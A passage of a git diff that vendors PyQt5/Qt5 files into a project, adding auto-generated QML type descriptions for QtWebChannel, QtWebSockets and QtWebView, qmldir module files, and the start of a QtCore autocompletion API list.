[] + Component { + name: "QQmlWebChannel" + prototype: "QWebChannel" + exports: ["QtWebChannel/WebChannel 1.0"] + exportMetaObjectRevisions: [0] + attachedType: "QQmlWebChannelAttached" + Property { name: "transports"; type: "QObject"; isList: true; isReadonly: true } + Property { name: "registeredObjects"; type: "QObject"; isList: true; isReadonly: true } + Method { + name: "registerObjects" + Parameter { name: "objects"; type: "QVariantMap" } + } + Method { + name: "connectTo" + Parameter { name: "transport"; type: "QObject"; isPointer: true } + } + Method { + name: "disconnectFrom" + Parameter { name: "transport"; type: "QObject"; isPointer: true } + } + } + Component { + name: "QQmlWebChannelAttached" + prototype: "QObject" + Property { name: "id"; type: "string" } + Signal { + name: "idChanged" + Parameter { name: "id"; type: "string" } + } + } + Component { + name: "QWebChannel" + prototype: "QObject" + Property { name: "blockUpdates"; type: "bool" } + Signal { + name: "blockUpdatesChanged" + Parameter { name: "block"; type: "bool" } + } + Method { + name: "connectTo" + Parameter { name: "transport"; type: "QWebChannelAbstractTransport"; isPointer: true } + } + Method { + name: "disconnectFrom" + Parameter { name: "transport"; type: "QWebChannelAbstractTransport"; isPointer: true } + } + Method { + name: "registerObject" + Parameter { name: "id"; type: "string" } + Parameter { name: "object"; type: "QObject"; isPointer: true } + } + Method { + name: "deregisterObject" + Parameter { name: "object"; type: "QObject"; isPointer: true } + } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtWebChannel/qmldir b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtWebChannel/qmldir new file mode 100644 index 00000000..c521f2f4 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtWebChannel/qmldir @@ -0,0 +1,4 @@ +module QtWebChannel +classname QWebChannelPlugin +plugin declarative_webchannel +typeinfo plugins.qmltypes diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtWebSockets/declarative_qmlwebsockets.dll b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtWebSockets/declarative_qmlwebsockets.dll new file mode 100644 index 00000000..c988fef5 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtWebSockets/declarative_qmlwebsockets.dll differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtWebSockets/plugins.qmltypes b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtWebSockets/plugins.qmltypes new file mode 100644 index 00000000..cabe5a27 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtWebSockets/plugins.qmltypes @@ -0,0 +1,108 @@ +import QtQuick.tooling 1.2 + +// This file describes the plugin-supplied types contained in the library. +// It is used for QML tooling purposes only. +// +// This file was auto-generated by: +// 'qmlplugindump -nonrelocatable -dependencies dependencies.json QtWebSockets 1.15' + +Module { + dependencies: [] + Component { + name: "QQmlWebSocket" + prototype: "QObject" + exports: ["QtWebSockets/WebSocket 1.0", "QtWebSockets/WebSocket 1.1"] + exportMetaObjectRevisions: [0, 1] + Enum { + name: "Status" + values: { + "Connecting": 0, + "Open": 1, + "Closing": 2, + "Closed": 3, + "Error": 4 + } + } + Property { name: "url"; type: "QUrl" } + Property { name: "status"; type: "Status"; isReadonly: true } + Property { name: "errorString"; type: "string"; isReadonly: true } + Property { name: "active"; type: "bool" } + Signal { + name: "textMessageReceived" + Parameter { name: "message"; type: "string" } + } + Signal { + name: "binaryMessageReceived" + revision: 1 + Parameter { name: "message"; type: "QByteArray" } + } + Signal { + name: "statusChanged" + Parameter { name: "status"; type: "QQmlWebSocket::Status" } + } + Signal { + name: "activeChanged" + Parameter { name: "isActive"; type: "bool" } + } + Signal { + name: "errorStringChanged" + Parameter { name: "errorString"; type: "string" } + } + Method { + name: "sendTextMessage" + type: "qlonglong" + Parameter { name: "message"; type: "string" } + } + Method { + name: "sendBinaryMessage" + revision: 1 + type: "qlonglong" + Parameter { name: "message"; type: "QByteArray" } + } + } + Component { + name: "QQmlWebSocketServer" + prototype: "QObject" + exports: ["QtWebSockets/WebSocketServer 1.0"] + exportMetaObjectRevisions: [0] + Property { name: "url"; type: "QUrl"; isReadonly: true } + Property { name: "host"; type: "string" } + Property { name: "port"; type: "int" } + Property { name: "name"; type: "string" } + Property { name: "errorString"; type: "string"; isReadonly: true } + Property { name: "listen"; type: "bool" } + Property { name: "accept"; type: "bool" } + Signal { + name: "clientConnected" + Parameter { name: "webSocket"; type: "QQmlWebSocket"; isPointer: true } + } + Signal { + name: "errorStringChanged" + Parameter { name: "errorString"; type: "string" } + } + Signal { + name: "urlChanged" + Parameter { name: "url"; type: "QUrl" } + } + Signal { + name: "portChanged" + Parameter { name: "port"; type: "int" } + } + Signal { + name: "nameChanged" + Parameter { name: "name"; type: "string" } + } + Signal { + name: "hostChanged" + Parameter { name: "host"; type: "string" } + } + Signal { + name: "listenChanged" + Parameter { name: "listen"; type: "bool" } + } + Signal { + name: "acceptChanged" + Parameter { name: "accept"; type: "bool" } + } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtWebSockets/qmldir b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtWebSockets/qmldir new file mode 100644 index 00000000..130b79f7 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtWebSockets/qmldir @@ -0,0 +1,4 @@ +module QtWebSockets +plugin declarative_qmlwebsockets +classname QtWebSocketsDeclarativeModule +typeinfo plugins.qmltypes diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtWebView/declarative_webview.dll b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtWebView/declarative_webview.dll new file mode 100644 index 00000000..658911e3 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtWebView/declarative_webview.dll differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtWebView/plugins.qmltypes b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtWebView/plugins.qmltypes new file mode 100644 index 00000000..945610e0 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtWebView/plugins.qmltypes @@ -0,0 +1,90 @@ +import QtQuick.tooling 1.2 + +// This file describes the plugin-supplied types contained in the library. +// It is used for QML tooling purposes only. +// +// This file was auto-generated by: +// 'qmlplugindump -nonrelocatable -dependencies dependencies.json QtWebView 1.14' + +Module { + dependencies: ["QtQuick 2.0"] + Component { + name: "QQuickViewController" + defaultProperty: "data" + prototype: "QQuickItem" + Method { + name: "onWindowChanged" + Parameter { name: "window"; type: "QQuickWindow"; isPointer: true } + } + Method { name: "onVisibleChanged" } + } + Component { + name: "QQuickWebView" + defaultProperty: "data" + prototype: "QQuickViewController" + exports: [ + "QtWebView/WebView 1.0", + "QtWebView/WebView 1.1", + "QtWebView/WebView 1.14" + ] + exportMetaObjectRevisions: [0, 1, 14] + Enum { + name: "LoadStatus" + values: { + "LoadStartedStatus": 0, + "LoadStoppedStatus": 1, + "LoadSucceededStatus": 2, + "LoadFailedStatus": 3 + } + } + Property { name: "httpUserAgent"; revision: 14; type: "string" } + Property { name: "url"; type: "QUrl" } + Property { name: "loading"; revision: 1; type: "bool"; isReadonly: true } + Property { name: "loadProgress"; type: "int"; isReadonly: true } + Property { name: "title"; type: "string"; isReadonly: true } + Property { name: "canGoBack"; type: "bool"; isReadonly: true } + Property { name: "canGoForward"; type: "bool"; isReadonly: true } + Signal { + name: "loadingChanged" + revision: 1 + Parameter { name: "loadRequest"; type: "QQuickWebViewLoadRequest"; isPointer: true } + } + Signal { name: "httpUserAgentChanged"; revision: 14 } + Method { name: "goBack" } + Method { name: "goForward" } + Method { name: "reload" } + Method { name: "stop" } + Method { + name: "loadHtml" + revision: 1 + Parameter { name: "html"; type: "string" } + Parameter { name: "baseUrl"; type: "QUrl" } + } + Method { + name: "loadHtml" + revision: 1 + Parameter { name: "html"; type: "string" } + } + Method { + name: "runJavaScript" + revision: 1 + Parameter { name: "script"; type: "string" } + Parameter { name: "callback"; type: "QJSValue" } + } + Method { + name: "runJavaScript" + revision: 1 + Parameter { name: "script"; type: "string" } + } + } + Component { + name: "QQuickWebViewLoadRequest" + prototype: "QObject" + exports: ["QtWebView/WebViewLoadRequest 1.1"] + isCreatable: false + exportMetaObjectRevisions: [0] + Property { name: "url"; type: "QUrl"; isReadonly: true } + Property { name: "status"; type: "QQuickWebView::LoadStatus"; isReadonly: true } + Property { name: "errorString"; type: "string"; isReadonly: true } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtWebView/qmldir b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtWebView/qmldir new file mode 100644 index 00000000..25023503 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtWebView/qmldir @@ -0,0 +1,5 @@ +module QtWebView +plugin declarative_webview +typeinfo plugins.qmltypes +classname QWebViewModule +depends QtWebEngine 1.0 diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qsci/api/python/PyQt5.api b/OTHERS/Jarvis/ools/PyQt5/Qt5/qsci/api/python/PyQt5.api new file mode 100644 index 00000000..30f18da4 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qsci/api/python/PyQt5.api @@ -0,0 +1,32940 @@ +QtCore.QtMsgType?10 +QtCore.QtMsgType.QtDebugMsg?10 +QtCore.QtMsgType.QtWarningMsg?10 +QtCore.QtMsgType.QtCriticalMsg?10 +QtCore.QtMsgType.QtFatalMsg?10 +QtCore.QtMsgType.QtSystemMsg?10 +QtCore.QtMsgType.QtInfoMsg?10 +QtCore.QCborKnownTags?10 +QtCore.QCborKnownTags.DateTimeString?10 +QtCore.QCborKnownTags.UnixTime_t?10 +QtCore.QCborKnownTags.PositiveBignum?10 +QtCore.QCborKnownTags.NegativeBignum?10 +QtCore.QCborKnownTags.Decimal?10 +QtCore.QCborKnownTags.Bigfloat?10 +QtCore.QCborKnownTags.COSE_Encrypt0?10 +QtCore.QCborKnownTags.COSE_Mac0?10 +QtCore.QCborKnownTags.COSE_Sign1?10 +QtCore.QCborKnownTags.ExpectedBase64url?10 +QtCore.QCborKnownTags.ExpectedBase64?10 +QtCore.QCborKnownTags.ExpectedBase16?10 +QtCore.QCborKnownTags.EncodedCbor?10 +QtCore.QCborKnownTags.Url?10 +QtCore.QCborKnownTags.Base64url?10 +QtCore.QCborKnownTags.Base64?10 +QtCore.QCborKnownTags.RegularExpression?10 +QtCore.QCborKnownTags.MimeMessage?10 +QtCore.QCborKnownTags.Uuid?10 +QtCore.QCborKnownTags.COSE_Encrypt?10 +QtCore.QCborKnownTags.COSE_Mac?10 +QtCore.QCborKnownTags.COSE_Sign?10 +QtCore.QCborKnownTags.Signature?10 +QtCore.QCborSimpleType?10 +QtCore.QCborSimpleType.False_?10 +QtCore.QCborSimpleType.True_?10 +QtCore.QCborSimpleType.Null?10 +QtCore.QCborSimpleType.Undefined?10 +QtCore.PYQT_VERSION?7 +QtCore.PYQT_VERSION_STR?7 +QtCore.QT_VERSION?7 +QtCore.QT_VERSION_STR?7 +QtCore.qAbs?4(float) -> float +QtCore.qRound?4(float) -> int +QtCore.qRound64?4(float) -> int +QtCore.qVersion?4() -> str +QtCore.qSharedBuild?4() -> bool +QtCore.qRegisterResourceData?4(int, bytes, bytes, bytes) -> bool +QtCore.qUnregisterResourceData?4(int, bytes, bytes, bytes) -> bool +QtCore.qFuzzyCompare?4(float, float) -> bool +QtCore.qIsNull?4(float) -> bool +QtCore.qsrand?4(int) +QtCore.qrand?4() -> int +QtCore.pyqtSetPickleProtocol?4(object) +QtCore.pyqtPickleProtocol?4() -> object +QtCore.qEnvironmentVariable?4(str) -> QString +QtCore.qEnvironmentVariable?4(str, QString) -> QString +QtCore.qCompress?4(QByteArray, int compressionLevel=-1) -> QByteArray +QtCore.qUncompress?4(QByteArray) -> QByteArray +QtCore.qChecksum?4(bytes) -> int +QtCore.qChecksum?4(bytes, Qt.ChecksumType) -> int +QtCore.qAddPostRoutine?4(callable) +QtCore.qRemovePostRoutine?4(callable) +QtCore.qAddPreRoutine?4(callable) +QtCore.pyqtRemoveInputHook?4() +QtCore.pyqtRestoreInputHook?4() +QtCore.qCritical?4(str) +QtCore.qDebug?4(str) +QtCore.qErrnoWarning?4(int, str) +QtCore.qErrnoWarning?4(str) +QtCore.qFatal?4(str) +QtCore.qInfo?4(str) +QtCore.qWarning?4(str) +QtCore.qInstallMessageHandler?4(callable) -> callable +QtCore.qSetMessagePattern?4(QString) +QtCore.qFormatLogMessage?4(QtMsgType, QMessageLogContext, QString) -> QString +QtCore.qIsInf?4(float) -> bool +QtCore.qIsFinite?4(float) -> bool +QtCore.qIsNaN?4(float) -> bool +QtCore.qInf?4() -> float +QtCore.qSNaN?4() -> float +QtCore.qQNaN?4() -> float +QtCore.qFloatDistance?4(float, float) -> int +QtCore.Q_CLASSINFO?4(str, str) -> object +QtCore.Q_ENUM?4(object) -> object +QtCore.Q_ENUMS?4(...) -> object +QtCore.Q_FLAG?4(object) -> object +QtCore.Q_FLAGS?4(...) -> object +QtCore.QT_TR_NOOP?4(object) -> object +QtCore.QT_TR_NOOP_UTF8?4(object) -> object +QtCore.QT_TRANSLATE_NOOP?4(object, object) -> object +QtCore.pyqtSlot?4(..., str name=None, str result=None) -> object +QtCore.Q_ARG?4(object, object) -> object +QtCore.Q_RETURN_ARG?4(object) -> object +QtCore.bin_?4(QTextStream) -> QTextStream +QtCore.oct_?4(QTextStream) -> QTextStream +QtCore.dec?4(QTextStream) -> QTextStream +QtCore.hex_?4(QTextStream) -> QTextStream +QtCore.showbase?4(QTextStream) -> QTextStream +QtCore.forcesign?4(QTextStream) -> QTextStream +QtCore.forcepoint?4(QTextStream) -> QTextStream +QtCore.noshowbase?4(QTextStream) -> QTextStream +QtCore.noforcesign?4(QTextStream) -> QTextStream +QtCore.noforcepoint?4(QTextStream) -> QTextStream +QtCore.uppercasebase?4(QTextStream) -> QTextStream +QtCore.uppercasedigits?4(QTextStream) -> QTextStream +QtCore.lowercasebase?4(QTextStream) -> QTextStream +QtCore.lowercasedigits?4(QTextStream) -> QTextStream +QtCore.fixed?4(QTextStream) -> QTextStream +QtCore.scientific?4(QTextStream) -> QTextStream +QtCore.left?4(QTextStream) -> QTextStream +QtCore.right?4(QTextStream) -> QTextStream +QtCore.center?4(QTextStream) -> QTextStream +QtCore.endl?4(QTextStream) -> QTextStream +QtCore.flush?4(QTextStream) -> QTextStream +QtCore.reset?4(QTextStream) -> QTextStream +QtCore.bom?4(QTextStream) -> QTextStream +QtCore.ws?4(QTextStream) -> QTextStream +QtCore.qSetFieldWidth?4(int) -> QTextStreamManipulator +QtCore.qSetPadChar?4(QChar) -> QTextStreamManipulator +QtCore.qSetRealNumberPrecision?4(int) -> QTextStreamManipulator +QtCore.Qt.HighDpiScaleFactorRoundingPolicy?10 +QtCore.Qt.HighDpiScaleFactorRoundingPolicy.Round?10 +QtCore.Qt.HighDpiScaleFactorRoundingPolicy.Ceil?10 +QtCore.Qt.HighDpiScaleFactorRoundingPolicy.Floor?10 +QtCore.Qt.HighDpiScaleFactorRoundingPolicy.RoundPreferFloor?10 +QtCore.Qt.HighDpiScaleFactorRoundingPolicy.PassThrough?10 +QtCore.Qt.ChecksumType?10 +QtCore.Qt.ChecksumType.ChecksumIso3309?10 +QtCore.Qt.ChecksumType.ChecksumItuV41?10 +QtCore.Qt.EnterKeyType?10 +QtCore.Qt.EnterKeyType.EnterKeyDefault?10 +QtCore.Qt.EnterKeyType.EnterKeyReturn?10 +QtCore.Qt.EnterKeyType.EnterKeyDone?10 +QtCore.Qt.EnterKeyType.EnterKeyGo?10 +QtCore.Qt.EnterKeyType.EnterKeySend?10 +QtCore.Qt.EnterKeyType.EnterKeySearch?10 +QtCore.Qt.EnterKeyType.EnterKeyNext?10 +QtCore.Qt.EnterKeyType.EnterKeyPrevious?10 +QtCore.Qt.ItemSelectionOperation?10 +QtCore.Qt.ItemSelectionOperation.ReplaceSelection?10 +QtCore.Qt.ItemSelectionOperation.AddToSelection?10 +QtCore.Qt.TabFocusBehavior?10 +QtCore.Qt.TabFocusBehavior.NoTabFocus?10 +QtCore.Qt.TabFocusBehavior.TabFocusTextControls?10 +QtCore.Qt.TabFocusBehavior.TabFocusListControls?10 +QtCore.Qt.TabFocusBehavior.TabFocusAllControls?10 +QtCore.Qt.MouseEventFlag?10 +QtCore.Qt.MouseEventFlag.MouseEventCreatedDoubleClick?10 +QtCore.Qt.MouseEventSource?10 +QtCore.Qt.MouseEventSource.MouseEventNotSynthesized?10 +QtCore.Qt.MouseEventSource.MouseEventSynthesizedBySystem?10 +QtCore.Qt.MouseEventSource.MouseEventSynthesizedByQt?10 +QtCore.Qt.MouseEventSource.MouseEventSynthesizedByApplication?10 +QtCore.Qt.ScrollPhase?10 +QtCore.Qt.ScrollPhase.ScrollBegin?10 +QtCore.Qt.ScrollPhase.ScrollUpdate?10 +QtCore.Qt.ScrollPhase.ScrollEnd?10 +QtCore.Qt.ScrollPhase.NoScrollPhase?10 +QtCore.Qt.ScrollPhase.ScrollMomentum?10 +QtCore.Qt.NativeGestureType?10 +QtCore.Qt.NativeGestureType.BeginNativeGesture?10 +QtCore.Qt.NativeGestureType.EndNativeGesture?10 +QtCore.Qt.NativeGestureType.PanNativeGesture?10 +QtCore.Qt.NativeGestureType.ZoomNativeGesture?10 +QtCore.Qt.NativeGestureType.SmartZoomNativeGesture?10 +QtCore.Qt.NativeGestureType.RotateNativeGesture?10 +QtCore.Qt.NativeGestureType.SwipeNativeGesture?10 +QtCore.Qt.Edge?10 +QtCore.Qt.Edge.TopEdge?10 +QtCore.Qt.Edge.LeftEdge?10 +QtCore.Qt.Edge.RightEdge?10 +QtCore.Qt.Edge.BottomEdge?10 +QtCore.Qt.ApplicationState?10 +QtCore.Qt.ApplicationState.ApplicationSuspended?10 +QtCore.Qt.ApplicationState.ApplicationHidden?10 +QtCore.Qt.ApplicationState.ApplicationInactive?10 +QtCore.Qt.ApplicationState.ApplicationActive?10 +QtCore.Qt.HitTestAccuracy?10 +QtCore.Qt.HitTestAccuracy.ExactHit?10 +QtCore.Qt.HitTestAccuracy.FuzzyHit?10 +QtCore.Qt.WhiteSpaceMode?10 +QtCore.Qt.WhiteSpaceMode.WhiteSpaceNormal?10 +QtCore.Qt.WhiteSpaceMode.WhiteSpacePre?10 +QtCore.Qt.WhiteSpaceMode.WhiteSpaceNoWrap?10 +QtCore.Qt.WhiteSpaceMode.WhiteSpaceModeUndefined?10 +QtCore.Qt.FindChildOption?10 +QtCore.Qt.FindChildOption.FindDirectChildrenOnly?10 +QtCore.Qt.FindChildOption.FindChildrenRecursively?10 +QtCore.Qt.ScreenOrientation?10 +QtCore.Qt.ScreenOrientation.PrimaryOrientation?10 +QtCore.Qt.ScreenOrientation.PortraitOrientation?10 +QtCore.Qt.ScreenOrientation.LandscapeOrientation?10 +QtCore.Qt.ScreenOrientation.InvertedPortraitOrientation?10 +QtCore.Qt.ScreenOrientation.InvertedLandscapeOrientation?10 +QtCore.Qt.CursorMoveStyle?10 +QtCore.Qt.CursorMoveStyle.LogicalMoveStyle?10 +QtCore.Qt.CursorMoveStyle.VisualMoveStyle?10 +QtCore.Qt.NavigationMode?10 +QtCore.Qt.NavigationMode.NavigationModeNone?10 +QtCore.Qt.NavigationMode.NavigationModeKeypadTabOrder?10 +QtCore.Qt.NavigationMode.NavigationModeKeypadDirectional?10 +QtCore.Qt.NavigationMode.NavigationModeCursorAuto?10 +QtCore.Qt.NavigationMode.NavigationModeCursorForceVisible?10 +QtCore.Qt.GestureFlag?10 +QtCore.Qt.GestureFlag.DontStartGestureOnChildren?10 +QtCore.Qt.GestureFlag.ReceivePartialGestures?10 +QtCore.Qt.GestureFlag.IgnoredGesturesPropagateToParent?10 +QtCore.Qt.GestureType?10 +QtCore.Qt.GestureType.TapGesture?10 +QtCore.Qt.GestureType.TapAndHoldGesture?10 +QtCore.Qt.GestureType.PanGesture?10 +QtCore.Qt.GestureType.PinchGesture?10 +QtCore.Qt.GestureType.SwipeGesture?10 +QtCore.Qt.GestureType.CustomGesture?10 +QtCore.Qt.GestureState?10 +QtCore.Qt.GestureState.GestureStarted?10 +QtCore.Qt.GestureState.GestureUpdated?10 +QtCore.Qt.GestureState.GestureFinished?10 +QtCore.Qt.GestureState.GestureCanceled?10 +QtCore.Qt.TouchPointState?10 +QtCore.Qt.TouchPointState.TouchPointPressed?10 +QtCore.Qt.TouchPointState.TouchPointMoved?10 +QtCore.Qt.TouchPointState.TouchPointStationary?10 +QtCore.Qt.TouchPointState.TouchPointReleased?10 +QtCore.Qt.CoordinateSystem?10 +QtCore.Qt.CoordinateSystem.DeviceCoordinates?10 +QtCore.Qt.CoordinateSystem.LogicalCoordinates?10 +QtCore.Qt.AnchorPoint?10 +QtCore.Qt.AnchorPoint.AnchorLeft?10 +QtCore.Qt.AnchorPoint.AnchorHorizontalCenter?10 +QtCore.Qt.AnchorPoint.AnchorRight?10 +QtCore.Qt.AnchorPoint.AnchorTop?10 +QtCore.Qt.AnchorPoint.AnchorVerticalCenter?10 +QtCore.Qt.AnchorPoint.AnchorBottom?10 +QtCore.Qt.InputMethodHint?10 +QtCore.Qt.InputMethodHint.ImhNone?10 +QtCore.Qt.InputMethodHint.ImhHiddenText?10 +QtCore.Qt.InputMethodHint.ImhNoAutoUppercase?10 +QtCore.Qt.InputMethodHint.ImhPreferNumbers?10 +QtCore.Qt.InputMethodHint.ImhPreferUppercase?10 +QtCore.Qt.InputMethodHint.ImhPreferLowercase?10 +QtCore.Qt.InputMethodHint.ImhNoPredictiveText?10 +QtCore.Qt.InputMethodHint.ImhDigitsOnly?10 +QtCore.Qt.InputMethodHint.ImhFormattedNumbersOnly?10 +QtCore.Qt.InputMethodHint.ImhUppercaseOnly?10 +QtCore.Qt.InputMethodHint.ImhLowercaseOnly?10 +QtCore.Qt.InputMethodHint.ImhDialableCharactersOnly?10 +QtCore.Qt.InputMethodHint.ImhEmailCharactersOnly?10 +QtCore.Qt.InputMethodHint.ImhUrlCharactersOnly?10 +QtCore.Qt.InputMethodHint.ImhExclusiveInputMask?10 +QtCore.Qt.InputMethodHint.ImhSensitiveData?10 +QtCore.Qt.InputMethodHint.ImhDate?10 +QtCore.Qt.InputMethodHint.ImhTime?10 +QtCore.Qt.InputMethodHint.ImhPreferLatin?10 +QtCore.Qt.InputMethodHint.ImhLatinOnly?10 +QtCore.Qt.InputMethodHint.ImhMultiLine?10 +QtCore.Qt.InputMethodHint.ImhNoEditMenu?10 +QtCore.Qt.InputMethodHint.ImhNoTextHandles?10 +QtCore.Qt.TileRule?10 +QtCore.Qt.TileRule.StretchTile?10 +QtCore.Qt.TileRule.RepeatTile?10 +QtCore.Qt.TileRule.RoundTile?10 +QtCore.Qt.WindowFrameSection?10 +QtCore.Qt.WindowFrameSection.NoSection?10 +QtCore.Qt.WindowFrameSection.LeftSection?10 +QtCore.Qt.WindowFrameSection.TopLeftSection?10 +QtCore.Qt.WindowFrameSection.TopSection?10 +QtCore.Qt.WindowFrameSection.TopRightSection?10 +QtCore.Qt.WindowFrameSection.RightSection?10 +QtCore.Qt.WindowFrameSection.BottomRightSection?10 +QtCore.Qt.WindowFrameSection.BottomSection?10 +QtCore.Qt.WindowFrameSection.BottomLeftSection?10 +QtCore.Qt.WindowFrameSection.TitleBarArea?10 +QtCore.Qt.SizeHint?10 +QtCore.Qt.SizeHint.MinimumSize?10 +QtCore.Qt.SizeHint.PreferredSize?10 +QtCore.Qt.SizeHint.MaximumSize?10 +QtCore.Qt.SizeHint.MinimumDescent?10 +QtCore.Qt.SizeMode?10 +QtCore.Qt.SizeMode.AbsoluteSize?10 +QtCore.Qt.SizeMode.RelativeSize?10 +QtCore.Qt.EventPriority?10 +QtCore.Qt.EventPriority.HighEventPriority?10 +QtCore.Qt.EventPriority.NormalEventPriority?10 +QtCore.Qt.EventPriority.LowEventPriority?10 +QtCore.Qt.Axis?10 +QtCore.Qt.Axis.XAxis?10 +QtCore.Qt.Axis.YAxis?10 +QtCore.Qt.Axis.ZAxis?10 +QtCore.Qt.MaskMode?10 +QtCore.Qt.MaskMode.MaskInColor?10 +QtCore.Qt.MaskMode.MaskOutColor?10 +QtCore.Qt.TextInteractionFlag?10 +QtCore.Qt.TextInteractionFlag.NoTextInteraction?10 +QtCore.Qt.TextInteractionFlag.TextSelectableByMouse?10 +QtCore.Qt.TextInteractionFlag.TextSelectableByKeyboard?10 +QtCore.Qt.TextInteractionFlag.LinksAccessibleByMouse?10 +QtCore.Qt.TextInteractionFlag.LinksAccessibleByKeyboard?10 +QtCore.Qt.TextInteractionFlag.TextEditable?10 +QtCore.Qt.TextInteractionFlag.TextEditorInteraction?10 +QtCore.Qt.TextInteractionFlag.TextBrowserInteraction?10 +QtCore.Qt.ItemSelectionMode?10 +QtCore.Qt.ItemSelectionMode.ContainsItemShape?10 +QtCore.Qt.ItemSelectionMode.IntersectsItemShape?10 +QtCore.Qt.ItemSelectionMode.ContainsItemBoundingRect?10 +QtCore.Qt.ItemSelectionMode.IntersectsItemBoundingRect?10 +QtCore.Qt.ApplicationAttribute?10 +QtCore.Qt.ApplicationAttribute.AA_ImmediateWidgetCreation?10 +QtCore.Qt.ApplicationAttribute.AA_MSWindowsUseDirect3DByDefault?10 +QtCore.Qt.ApplicationAttribute.AA_DontShowIconsInMenus?10 +QtCore.Qt.ApplicationAttribute.AA_NativeWindows?10 +QtCore.Qt.ApplicationAttribute.AA_DontCreateNativeWidgetSiblings?10 +QtCore.Qt.ApplicationAttribute.AA_MacPluginApplication?10 +QtCore.Qt.ApplicationAttribute.AA_DontUseNativeMenuBar?10 +QtCore.Qt.ApplicationAttribute.AA_MacDontSwapCtrlAndMeta?10 +QtCore.Qt.ApplicationAttribute.AA_X11InitThreads?10 +QtCore.Qt.ApplicationAttribute.AA_Use96Dpi?10 +QtCore.Qt.ApplicationAttribute.AA_SynthesizeTouchForUnhandledMouseEvents?10 +QtCore.Qt.ApplicationAttribute.AA_SynthesizeMouseForUnhandledTouchEvents?10 +QtCore.Qt.ApplicationAttribute.AA_UseHighDpiPixmaps?10 +QtCore.Qt.ApplicationAttribute.AA_ForceRasterWidgets?10 +QtCore.Qt.ApplicationAttribute.AA_UseDesktopOpenGL?10 +QtCore.Qt.ApplicationAttribute.AA_UseOpenGLES?10 +QtCore.Qt.ApplicationAttribute.AA_UseSoftwareOpenGL?10 +QtCore.Qt.ApplicationAttribute.AA_ShareOpenGLContexts?10 +QtCore.Qt.ApplicationAttribute.AA_SetPalette?10 +QtCore.Qt.ApplicationAttribute.AA_EnableHighDpiScaling?10 +QtCore.Qt.ApplicationAttribute.AA_DisableHighDpiScaling?10 +QtCore.Qt.ApplicationAttribute.AA_PluginApplication?10 +QtCore.Qt.ApplicationAttribute.AA_UseStyleSheetPropagationInWidgetStyles?10 +QtCore.Qt.ApplicationAttribute.AA_DontUseNativeDialogs?10 +QtCore.Qt.ApplicationAttribute.AA_SynthesizeMouseForUnhandledTabletEvents?10 +QtCore.Qt.ApplicationAttribute.AA_CompressHighFrequencyEvents?10 +QtCore.Qt.ApplicationAttribute.AA_DontCheckOpenGLContextThreadAffinity?10 +QtCore.Qt.ApplicationAttribute.AA_DisableShaderDiskCache?10 +QtCore.Qt.ApplicationAttribute.AA_DontShowShortcutsInContextMenus?10 +QtCore.Qt.ApplicationAttribute.AA_CompressTabletEvents?10 +QtCore.Qt.ApplicationAttribute.AA_DisableWindowContextHelpButton?10 +QtCore.Qt.ApplicationAttribute.AA_DisableSessionManager?10 +QtCore.Qt.ApplicationAttribute.AA_DisableNativeVirtualKeyboard?10 +QtCore.Qt.WindowModality?10 +QtCore.Qt.WindowModality.NonModal?10 +QtCore.Qt.WindowModality.WindowModal?10 +QtCore.Qt.WindowModality.ApplicationModal?10 +QtCore.Qt.MatchFlag?10 +QtCore.Qt.MatchFlag.MatchExactly?10 +QtCore.Qt.MatchFlag.MatchFixedString?10 +QtCore.Qt.MatchFlag.MatchContains?10 +QtCore.Qt.MatchFlag.MatchStartsWith?10 +QtCore.Qt.MatchFlag.MatchEndsWith?10 +QtCore.Qt.MatchFlag.MatchRegExp?10 +QtCore.Qt.MatchFlag.MatchWildcard?10 +QtCore.Qt.MatchFlag.MatchCaseSensitive?10 +QtCore.Qt.MatchFlag.MatchWrap?10 +QtCore.Qt.MatchFlag.MatchRecursive?10 +QtCore.Qt.MatchFlag.MatchRegularExpression?10 +QtCore.Qt.ItemFlag?10 +QtCore.Qt.ItemFlag.NoItemFlags?10 +QtCore.Qt.ItemFlag.ItemIsSelectable?10 +QtCore.Qt.ItemFlag.ItemIsEditable?10 +QtCore.Qt.ItemFlag.ItemIsDragEnabled?10 +QtCore.Qt.ItemFlag.ItemIsDropEnabled?10 +QtCore.Qt.ItemFlag.ItemIsUserCheckable?10 +QtCore.Qt.ItemFlag.ItemIsEnabled?10 +QtCore.Qt.ItemFlag.ItemIsTristate?10 +QtCore.Qt.ItemFlag.ItemNeverHasChildren?10 +QtCore.Qt.ItemFlag.ItemIsUserTristate?10 +QtCore.Qt.ItemFlag.ItemIsAutoTristate?10 +QtCore.Qt.ItemDataRole?10 +QtCore.Qt.ItemDataRole.DisplayRole?10 +QtCore.Qt.ItemDataRole.DecorationRole?10 +QtCore.Qt.ItemDataRole.EditRole?10 +QtCore.Qt.ItemDataRole.ToolTipRole?10 +QtCore.Qt.ItemDataRole.StatusTipRole?10 +QtCore.Qt.ItemDataRole.WhatsThisRole?10 +QtCore.Qt.ItemDataRole.FontRole?10 +QtCore.Qt.ItemDataRole.TextAlignmentRole?10 